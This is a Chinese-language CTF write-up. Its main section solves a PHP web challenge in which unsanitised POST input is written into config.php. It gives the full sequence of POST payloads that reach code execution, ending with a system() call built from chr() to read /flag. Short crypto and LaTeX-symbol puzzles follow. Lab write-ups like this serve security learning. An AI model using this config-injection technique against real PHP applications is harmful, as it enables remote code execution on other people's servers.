前言
2022第一场CTF,水一水,等赛后复现吧。
Web
EASY_PHP
网站直接给了源码
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
$file = __DIR__ .'/config.php';
require $file;
$key = $_POST['info']['name'];
if(!isset($LANG[$key])) {
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
PHP字符串解析特性
源码里使用了 addslashes ()这个函数,对于sql注入比较熟悉的师傅肯定不会陌生。这个函数的作用是转义单双引号。
而new_addslashes ()自定义函数是将四个超全局变量中的单双引号进行转义,如果超全局变量为数组,则分别对其每一个val进行转义,get_magic_quotes_gpc() 函数始终返回false,这样就限制了我们通过POST或GET等方法传入单双引号。
但是如果你对PHP比较熟悉的话,肯定知道PHP默认是将一串“字符”当作字符串类型来解析的,就像下面这样
<?php
highlight_file(__FILE__);
var_dump(abc);
?>
//运行结果:string(3)"abc"
但是要注意,这里的字符是不包含空格的
<?php
highlight_file(__FILE__);
var_dump(ab c);
?>
//运行结果:Parse error: syntax error, unexpected 'c' (T_STRING), expecting ',' or ')'
所以 addslashes () 的转义对我们的影响其实不是很大
向config.php中写入命令
根据源码最下面一段,GET传入re参数,则向config.php文件写入如下内容
<?php
$LANG['member_manage'] = 'admin';
?>
由源码可知,我们有两种方法向config.php写入可控内容,这里我选择了第二种
elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
$key
变量是通过$key = $_POST['info']['name'];
来控制的。由于我们已经写入了$LANG['member_manage']
,所以直接将$key
赋值为member_manage则满足第一个判断。接着再POST传入no1变量即可。
file_put_contents ()函数向config.php文件中写入的是$content
变量,而$content
变量首先读取config.php中的内容,然后将文件中所有的$LANG[\$key]
替换成我们传入的no1变量。
也就是说,我们可以控制$LANG[\$key]
的值。但是这里需要注意的是在$LANG['member_manage'] = 'admin'
中,admin两端是由单引号包裹的,也就是说我们传入的值并不会被解析。而且我们传入单双引号已经被转义了,所以也不能通过传入单引号的方法来闭合。
可以考虑替换PHP语言标记<?php来使单引号失效,然后我们自己再写入一个<?php就可以屏蔽掉单引号了。
过程如下
首先将admin替换成<?php
POST:sudo&info[name]=member_manage&no1=<?php
然后再将 <?php替换成其他字符
POST:sudo&info[name]=member_manage&no1=qwer
然后再写入我们自己的命令,由于不能使用空格,所以直接使用编码绕过了
POST:sudo&info[name]=member_manage&no1=<?php system(chr(99).chr( 97).chr( 116).chr( 32).chr( 47).chr( 102).chr( 108).chr( 97).chr( 103))?>
命令成功执行
Crypto
签到题
给了一串十六进制
56465a7757464977546d464e656b354b5632786b5346457862336c4f4d4842485632785a4d6c5a47556c46554d557057556a464e656c5a466146465756444135554651774f5642525054303d
先使用hex解一下得到VFZwWFIwTmFNek5KV2xkSFExb3lOMHBHV2xZMlZGUlFUMUpWUjFNelZFaFFWVDA5UFQwOVBRPT0=
然后使用basecracker爆破即可
DO_YOU_KNOW_IT
给了一张图片
latex特殊符号,我们只需要找到每个符号对应的首字母即可
如果符号不太好找,还可以使用这个网站进行手绘匹配。
最终flag为flag{Play_with_LaTeX}